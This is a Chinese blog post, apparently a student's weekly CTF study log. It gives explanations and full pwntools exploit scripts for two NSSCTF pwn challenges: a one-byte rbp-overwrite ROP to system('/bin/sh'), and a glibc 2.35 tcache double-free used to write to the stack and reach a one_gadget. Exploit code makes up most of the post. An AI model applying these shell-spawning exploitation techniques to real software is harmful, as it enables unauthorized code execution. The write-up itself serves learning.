24-04-08

本周学习总结

最近挺忙的,水一下算了。

全局常量声明:新手上路,文章内容仅是由教程观点和自己总结获得,仅供参考。

一、[NSSRound#21 Basic]–Beautiful_Girl

本来是一道IO题,但是由于出题人故意留下的障眼法给变简单了。

用特意溢出的一个字节可以让我们控制rbp的最后一个字节,这就可以让我们用运气法来控制程序流到ROP,由于程序比上次的题复杂,所以成功概率较低。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

while True:
# p = remote("node4.anna.nssctf.cn", 28195)
# p = process("./pw")
# elf = ELF("./pwn")
libc = ELF("./libc.so.6")

sela(b"choose: \n", stre(0))
reu(b"you ")
libc_base = int(re(14), 16) - libc.sym["_IO_2_1_stdin_"]
ph(libc_base, "libc_base")

sys_addr = libc_base + libc.sym["system"]
bin_addr = libc_base + next(libc.search(b"/bin/sh\x00"))

pop_rdi = libc_base + 0x0000000000021112

rel()
sea(b"first\n", b"Z" * 0x10 + b"\x50")
payload = b"A" * 0x100 + b"\x00" * 0xC0 + p64(0x602700) + p64(pop_rdi)
payload += p64(bin_addr) + p64(sys_addr) + b"\x00" * 0x20
sea(b"say???\n", payload)

p.recv()
try:
p.recv(timeout=1)
except EOFError:
p.close()
continue
else:
op()
break

二、[NSSRound#21 Basic]–want_girlfriend

一道堆打栈题,存在uaf漏洞,但是只能一次持有一个块,不过可以假装和女朋友分手来获得多个块,gdb调试发现libc版本是2.35,这就意味着hook不可用,但是程序给了我们栈上的位置(通过strcpy的特性),在暴露出key后通过隐藏函数love来doublefree,劫持堆块到栈上,暴露exit地址来获得libc基地址,在此之前多次和女朋友假分手来获得再次doublefree的机会,再次劫持块到栈上,通过love函数中的read函数来实现稳定的输入onegadget。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret


def add(size, name, content):
sea(b"choice: \n", stre(1)
)
sela(b"height:\n", stre(size)
)
sea(b"name\n", name)
sea(b"describe\n", content)


def dele(ins):
sea(b"choice: \n", stre(2)
)
if ins == "Y":
sea(b"now???\n", b"Y")
else:
sea(b"now???\n", b"N")


def show():
sea(b"choice: \n", stre(3))


def edit(content=""):
sea(b"choice", stre(520)
)
if content != "":
sea(b"love\n", content)


# context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
p = remote("node4.anna.nssctf.cn", 28774)
# p = process("./pw")
# elf = ELF("./pwn")
# libc = ELF("./libc.so.6")

add(0x90, b"\x00" * 0x10, b"A" * 0x18)
show()
rel()
re(31)

rbp = raddr64()
ph(rbp, "rbp")

dele("Y")
show()
reu(b"is ")
key = raddr64()
ph(key, "key")

dele("N")
dele("N")
edit()
dele("Y")
edit()
dele("Y")
add(0x90, p64(key ^ (rbp - 0x10)), b"A" * 0x18)
add(0x90, b"A" * 0x8, b"A" * 0x8)
add(0x90, b"A" * 0x8, b"A" * 0x7 + b"\x00")
show()
rel()
re(15)

libc_base = raddr64() - 0x29d90
ph(libc_base, "libc_base")

one = libc_base + 0xebce2
pop_r12_r13 = libc_base + 0x41c48

add(0x90, b"Z" * 0x10, b"Z" * 0x18)
dele("Y")
edit()
dele("Y")
edit()
dele("Y")
add(0x90, p64(key ^ (rbp - 0x10)), b"A" * 0x18)
add(0x90, b"A" * 0x8, b"A" * 0x8)
add(0x90, b"A" * 0x8, b"A" * 0x8)
add(0x90, b"X" * 0x10, b"X" * 0x18)
dele("Y")
edit()
dele("Y")
edit()
dele("Y")
add(0x90, p64(key ^ (rbp - 0x50)), b"A" * 0x18)
add(0x90, b"\x00", b"\x00")
add(0x90, b"A" * 0x8, b"\x00" * 0x8)
edit(p64(pop_r12_r13) + p64(0) + p64(0) + p64(one))
op()

下周学习计划

| 应该要做的事情 |

EOF

学习感受

EOF


24-04-08
https://zlsf-zl.github.io/2024/04/08/4-8-4-14/
作者
ZLSF
发布于
2024年4月8日
许可协议